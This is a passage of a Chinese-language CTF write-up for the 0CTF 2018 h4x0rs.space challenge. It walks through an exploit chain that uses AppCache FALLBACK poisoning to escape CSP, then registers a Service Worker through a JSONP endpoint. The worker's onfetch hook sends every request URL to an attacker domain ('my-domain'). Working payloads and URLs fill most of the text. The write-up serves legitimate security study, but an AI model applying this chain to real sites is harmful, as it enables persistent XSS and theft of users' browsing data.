是因为缓存中FALLBACK的加载时间可能慢于单个iframe的加载时间,所以需要引入多个,保证FALLBACK的生效。最后发送文章id到后台,浏览器访问文章则会触发下面的流程。
上面的文章会转化为
1234<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe><iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=a#&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>上面的iframe标签会引入我们提前上传好的manfiest文件
1234CACHE MANIFESTFALLBACK:/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg并将FALLBACK设置为
/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg
然后下面的iframe标签会访问
/blog/untrusted_files/embed/embed.php?embed=a
并处罚500错误,跳转为提前设置好的svg页面,成功逃逸CSP。当我们第一次读取到document.cookie时,返回为
1OK! You got me... This is your reward: "flag{m0ar_featureS_" Wait, I wonder if you could hack my server. Okay, shall we play a game? I am going to check my secret blog post where you can find the rest of flag in next 5 seconds. If you know where I hide it, you win! Good luck. For briefly, I will open a new tab in my browser then go to my https://h4x0rs.space/blog.php/*secret_id* . You have to find where is it. 1...2...3...4..5... (Contact me @l4wio on IRC if you have a question)大致意思是说,bot会在5秒后访问flag页面,我们需要获取这个id。
Service Worker的利用
仔细回顾站内的功能,根据出题人的意思,这里会跳转到形似
https://h4x0rs.space/blog/[blog_post_id]
的url,通过Appcache我们只能控制/blog/untrusted_files/
这个目录下的缓存,这里我们需要控制到另一个选项卡的状态。在不具有窗口引用办法的情况下,这里只有使用Service Worker来做持久化利用。
关于Service Worker忽然发现以前很多人提到过,但好像一直都没有被重视过。这种一种用来替代Appcache的离线缓存机制,他是基于Web Worker的事件驱动的,他的执行机制都是通过新启动线程解决,比起Appcache来说,它可以针对同域下的整站生效,而且持续保存至浏览器重启都可以重用。
下面是两篇关于service worker的文档:
https://developers.google.com/web/fundamentals/primers/service-workers/?hl=zh-cn
https://www.w3.org/TR/service-workers/
使用Service Worker有两个条件:
1、Service Worker只生效于
https://
或者http://localhost/
下
2、其次你需要浏览器支持,现在并不是所有的浏览器都支持Service Worker。当我们满足上述条件,并且有一个xss利用点时,我们可以尝试构造一个持久化xss利用点,但在利用之前,我们需要更多条件。
1、如果我们使用
navigator.serviceWorker.register
来注册js,那么这里请求的url必须同源而且请求文件返回头必须为text/javascript, application/x-javascript, application/javascript
中的一种。2、假设站内使用onfetch接口获取内容,我们可以通过hookfetch接口,控制返回来触发持久化控制。
对于第一种情况来说,或许我们很难找到上传js的接口,但不幸的是,jsonp接口刚好符合这样的所有条件~~
具体的利用方式我会额外在写文分析这个,详情可以看这几篇文章:
http://drops.xmd5.com/static/drops/web-10798.html
https://speakerdeck.com/masatokinugawa/pwa-study-sw
最后的这个ppt最详细,但他是日语的,读起来非常吃力。
这里回到题目,我们可以注意到站内刚好有一个jsonp接口
1https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d值得注意的是,这里的callback接口有字数限制,这里可以通过和title的配合,通过注释来引入任何我们想要的字符串。
1/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});这里需要注意的是,在serviceWorker线程中,我们并不能获取所有的对象,所以这里直接获取当前请求的url。
完整的利用链如下:
1、将
*/onfetch=e=>{fetch(
https://my-domain/?${e.request.url})}//
写入文章内,并保留下文章id。2、构造jsonp接口
https://h4x0rs.space/blog/pad.php?callback=/*&id={sw_post_id}
1/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});3、上传svg,
https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg
1navigator.serviceWorker.register('/blog/pad.php?callback=/*&id={sw_post_id}')4、构造manifest文件,
https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg
1234CACHE MANIFESTFALLBACK:/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_SW].svg5、构造embed页面url
1https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=/blog/untrusted_files/[SVG_MANIFEST_SW].svg%3E&p=youtube6、最后构造利用文章内容
123456789101112[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST_SW].svg%3E[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt]7、发送post id即可
REF
-
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup
-
https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed
-
https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club
-
https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803
-
https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.space
-
https://github.com/l4wio/CTF-challenges-by-me/blob/master/0ctf_quals-2018/h4x0rs.space/solve.py